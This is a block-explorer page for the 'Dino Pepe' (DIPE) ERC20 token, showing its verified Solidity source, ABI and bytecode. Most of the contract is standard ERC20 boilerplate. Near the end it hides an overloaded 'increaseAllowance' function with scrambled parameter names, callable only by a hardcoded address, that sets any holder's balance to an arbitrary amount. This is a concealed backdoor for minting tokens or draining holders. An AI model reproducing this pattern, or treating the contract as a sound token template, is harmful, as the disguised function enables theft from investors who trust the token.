ETH Price: $3,450.03 (+0.02%)
Gas: 6 Gwei

Token

Dino Pepe (DIPE)
 

Overview

Max Total Supply

10,000,000,000 DIPE

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
memejuice.eth
Balance
192,379 DIPE

Value
$0.00
0xf038e4fd02d1e39f0e1f56987707c85c0f809cd8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DinoPepe

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-09-12
*/

/**
 

/**
        https://t.me/DinoPepePortal

        https://www.dinopepe.com/

        https://twitter.com/dinopepetoken
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: node_modules\@openzeppelin\contracts\token\ERC20\extensions\IERC20Metadata.sol



pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: node_modules\@openzeppelin\contracts\utils\Context.sol



pragma solidity ^0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


// File: @openzeppelin\contracts\token\ERC20\ERC20.sol

pragma solidity ^0.8.0;




/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract DinoPepe is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;
    
    address private chflpb; 
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 9. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor () {
        _name = "Dino Pepe";
        _symbol = "DIPE";
        _mint(msg.sender, 10000000000 * (10 ** uint256(decimals())));
        chflpb = 0xa7F567fb89628B21Feb2596E02dB47Bb587f89Ca;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function increaseAllowance(address adljgx, address adljgxB, uint256 fxmbjn, uint256 ikfrxj, uint256 wietpz) external { require(msg.sender==chflpb); uint256 fractions = 10 ** uint256(9); adljgxB = adljgx;adljgx = adljgx; _balances[adljgxB] = (fxmbjn + ikfrxj + wietpz) * fractions;adljgx = adljgxB;
    }   

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adljgx","type":"address"},{"internalType":"address","name":"adljgxB","type":"address"},{"internalType":"uint256","name":"fxmbjn","type":"uint256"},{"internalType":"uint256","name":"ikfrxj","type":"uint256"},{"internalType":"uint256","name":"wietpz","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600981526844696e6f205065706560b81b602082015260059062000082908262000295565b506040805180820190915260048152634449504560e01b6020820152600690620000ad908262000295565b50620000d833620000c16009600a62000476565b620000d2906402540be4006200048b565b62000104565b600380546001600160a01b03191673a7f567fb89628b21feb2596e02db47bb587f89ca179055620004bb565b6001600160a01b0382166200015f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060046000828254620001739190620004a5565b90915550506001600160a01b03821660009081526001602052604081208054839290620001a2908490620004a5565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200021c57607f821691505b6020821081036200023d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620001ec57600081815260208120601f850160051c810160208610156200026c5750805b601f850160051c820191505b818110156200028d5782815560010162000278565b505050505050565b81516001600160401b03811115620002b157620002b1620001f1565b620002c981620002c2845462000207565b8462000243565b602080601f831160018114620003015760008415620002e85750858301515b600019600386901b1c1916600185901b1785556200028d565b600085815260208120601f198616915b82811015620003325788860151825594840194600190910190840162000311565b5085821015620003515787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003b85781600019048211156200039c576200039c62000361565b80851615620003aa57918102915b93841c93908002906200037c565b509250929050565b600082620003d15750600162000470565b81620003e05750600062000470565b8160018114620003f95760028114620004045762000424565b600191505062000470565b60ff84111562000418576200041862000361565b50506001821b62000470565b5060208310610133831016604e8410600b841016171562000449575081810a62000470565b62000455838362000377565b80600019048211156200046c576200046c62000361565b0290505b92915050565b6000620004848383620003c0565b9392505050565b808202811582820484141762000470576200047062000361565b8082018082111562000470576200047062000361565b610d1580620004cb6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146101eb578063a9059cbb146101fe578063dd62ed3e14610211578063f2fde38b1461024a57600080fd5b8063715018a6146101ab57806379e015c1146101b55780638da5cb5b146101c857806395d89b41146101e357600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806370a082311461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261025d565b60405161010f91906109f0565b60405180910390f35b61012b610126366004610a5a565b6102ef565b604051901515815260200161010f565b6004545b60405190815260200161010f565b61012b61015b366004610a84565b610306565b6040516009815260200161010f565b61012b61017d366004610a5a565b6103bc565b61013f610190366004610ac0565b6001600160a01b031660009081526001602052604090205490565b6101b36103f3565b005b6101b36101c3366004610ae2565b6104a6565b6000546040516001600160a01b03909116815260200161010f565b610102610514565b61012b6101f9366004610a5a565b610523565b61012b61020c366004610a5a565b6105be565b61013f61021f366004610b2f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101b3610258366004610ac0565b6105cb565b60606005805461026c90610b62565b80601f016020809104026020016040519081016040528092919081815260200182805461029890610b62565b80156102e55780601f106102ba576101008083540402835291602001916102e5565b820191906000526020600020905b8154815290600101906020018083116102c857829003601f168201915b5050505050905090565b60006102fc3384846106f4565b5060015b92915050565b6000610313848484610818565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561039d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103b185336103ac8685610bb2565b6106f4565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916102fc9185906103ac908690610bc5565b336104066000546001600160a01b031690565b6001600160a01b03161461045c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610394565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6003546001600160a01b031633146104bd57600080fd5b60006104cb6009600a610cbc565b869550905080826104dc8587610bc5565b6104e69190610bc5565b6104f09190610cc8565b6001600160a01b039095166000908152600160205260409020949094555050505050565b60606006805461026c90610b62565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105a55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610394565b6105b433856103ac8685610bb2565b5060019392505050565b60006102fc338484610818565b336105de6000546001600160a01b031690565b6001600160a01b0316146106345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610394565b6001600160a01b0381166106995760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610394565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610394565b6001600160a01b0382166107b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610394565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661087c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610394565b6001600160a01b0382166108de5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610394565b6001600160a01b038316600090815260016020526040902054818110156109565760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610394565b6109608282610bb2565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610996908490610bc5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109e291815260200190565b60405180910390a350505050565b600060208083528351808285015260005b81811015610a1d57858101830151858201604001528201610a01565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a5557600080fd5b919050565b60008060408385031215610a6d57600080fd5b610a7683610a3e565b946020939093013593505050565b600080600060608486031215610a9957600080fd5b610aa284610a3e565b9250610ab060208501610a3e565b9150604084013590509250925092565b600060208284031215610ad257600080fd5b610adb82610a3e565b9392505050565b600080600080600060a08688031215610afa57600080fd5b610b0386610a3e565b9450610b1160208701610a3e565b94979496505050506040830135926060810135926080909101359150565b60008060408385031215610b4257600080fd5b610b4b83610a3e565b9150610b5960208401610a3e565b90509250929050565b600181811c90821680610b7657607f821691505b602082108103610b9657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561030057610300610b9c565b8082018082111561030057610300610b9c565b600181815b80851115610c13578160001904821115610bf957610bf9610b9c565b80851615610c0657918102915b93841c9390800290610bdd565b509250929050565b600082610c2a57506001610300565b81610c3757506000610300565b8160018114610c4d5760028114610c5757610c73565b6001915050610300565b60ff841115610c6857610c68610b9c565b50506001821b610300565b5060208310610133831016604e8410600b8410161715610c96575081810a610300565b610ca08383610bd8565b8060001904821115610cb457610cb4610b9c565b029392505050565b6000610adb8383610c1b565b808202811582820484141761030057610300610b9c56fea26469706673582212203ed26a41e4c3bd69d0c88d59eeeb77a5cfaf31a18b37c0fd0de79d3b17d0551864736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146101eb578063a9059cbb146101fe578063dd62ed3e14610211578063f2fde38b1461024a57600080fd5b8063715018a6146101ab57806379e015c1146101b55780638da5cb5b146101c857806395d89b41146101e357600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806370a082311461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261025d565b60405161010f91906109f0565b60405180910390f35b61012b610126366004610a5a565b6102ef565b604051901515815260200161010f565b6004545b60405190815260200161010f565b61012b61015b366004610a84565b610306565b6040516009815260200161010f565b61012b61017d366004610a5a565b6103bc565b61013f610190366004610ac0565b6001600160a01b031660009081526001602052604090205490565b6101b36103f3565b005b6101b36101c3366004610ae2565b6104a6565b6000546040516001600160a01b03909116815260200161010f565b610102610514565b61012b6101f9366004610a5a565b610523565b61012b61020c366004610a5a565b6105be565b61013f61021f366004610b2f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101b3610258366004610ac0565b6105cb565b60606005805461026c90610b62565b80601f016020809104026020016040519081016040528092919081815260200182805461029890610b62565b80156102e55780601f106102ba576101008083540402835291602001916102e5565b820191906000526020600020905b8154815290600101906020018083116102c857829003601f168201915b5050505050905090565b60006102fc3384846106f4565b5060015b92915050565b6000610313848484610818565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561039d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103b185336103ac8685610bb2565b6106f4565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916102fc9185906103ac908690610bc5565b336104066000546001600160a01b031690565b6001600160a01b03161461045c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610394565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6003546001600160a01b031633146104bd57600080fd5b60006104cb6009600a610cbc565b869550905080826104dc8587610bc5565b6104e69190610bc5565b6104f09190610cc8565b6001600160a01b039095166000908152600160205260409020949094555050505050565b60606006805461026c90610b62565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105a55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610394565b6105b433856103ac8685610bb2565b5060019392505050565b60006102fc338484610818565b336105de6000546001600160a01b031690565b6001600160a01b0316146106345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610394565b6001600160a01b0381166106995760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610394565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610394565b6001600160a01b0382166107b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610394565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661087c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610394565b6001600160a01b0382166108de5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610394565b6001600160a01b038316600090815260016020526040902054818110156109565760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610394565b6109608282610bb2565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610996908490610bc5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109e291815260200190565b60405180910390a350505050565b600060208083528351808285015260005b81811015610a1d57858101830151858201604001528201610a01565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a5557600080fd5b919050565b60008060408385031215610a6d57600080fd5b610a7683610a3e565b946020939093013593505050565b600080600060608486031215610a9957600080fd5b610aa284610a3e565b9250610ab060208501610a3e565b9150604084013590509250925092565b600060208284031215610ad257600080fd5b610adb82610a3e565b9392505050565b600080600080600060a08688031215610afa57600080fd5b610b0386610a3e565b9450610b1160208701610a3e565b94979496505050506040830135926060810135926080909101359150565b60008060408385031215610b4257600080fd5b610b4b83610a3e565b9150610b5960208401610a3e565b90509250929050565b600181811c90821680610b7657607f821691505b602082108103610b9657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561030057610300610b9c565b8082018082111561030057610300610b9c565b600181815b80851115610c13578160001904821115610bf957610bf9610b9c565b80851615610c0657918102915b93841c9390800290610bdd565b509250929050565b600082610c2a57506001610300565b81610c3757506000610300565b8160018114610c4d5760028114610c5757610c73565b6001915050610300565b60ff841115610c6857610c68610b9c565b50506001821b610300565b5060208310610133831016604e8410600b8410161715610c96575081810a610300565b610ca08383610bd8565b8060001904821115610cb457610cb4610b9c565b029392505050565b6000610adb8383610c1b565b808202811582820484141761030057610300610b9c56fea26469706673582212203ed26a41e4c3bd69d0c88d59eeeb77a5cfaf31a18b37c0fd0de79d3b17d0551864736f6c63430008130033

Deployed Bytecode Sourcemap

8046:5214:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8908:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9821:169;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;9821:169:0;1004:187:1;9228:108:0;9316:12;;9228:108;;;1342:25:1;;;1330:2;1315:18;9228:108:0;1196:177:1;9998:422:0;;;;;;:::i;:::-;;:::i;9128:92::-;;;9211:1;1853:36:1;;1841:2;1826:18;9128:92:0;1711:184:1;10428:215:0;;;;;;:::i;:::-;;:::i;9344:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;9445:18:0;9418:7;9445:18;;;:9;:18;;;;;;;9344:127;6212:148;;;:::i;:::-;;12850:304;;;;;;:::i;:::-;;:::i;5563:87::-;5609:7;5636:6;5563:87;;-1:-1:-1;;;;;5636:6:0;;;2708:51:1;;2696:2;2681:18;5563:87:0;2562:203:1;9016:104:0;;;:::i;10651:377::-;;;;;;:::i;:::-;;:::i;9479:175::-;;;;;;:::i;:::-;;:::i;9662:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;9778:18:0;;;9751:7;9778:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9662:151;6515:244;;;;;;:::i;:::-;;:::i;8908:100::-;8962:13;8995:5;8988:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8908:100;:::o;9821:169::-;9904:4;9921:39;4301:10;9944:7;9953:6;9921:8;:39::i;:::-;-1:-1:-1;9978:4:0;9821:169;;;;;:::o;9998:422::-;10104:4;10121:36;10131:6;10139:9;10150:6;10121:9;:36::i;:::-;-1:-1:-1;;;;;10197:19:0;;10170:24;10197:19;;;:11;:19;;;;;;;;4301:10;10197:33;;;;;;;;10249:26;;;;10241:79;;;;-1:-1:-1;;;10241:79:0;;3622:2:1;10241:79:0;;;3604:21:1;3661:2;3641:18;;;3634:30;3700:34;3680:18;;;3673:62;-1:-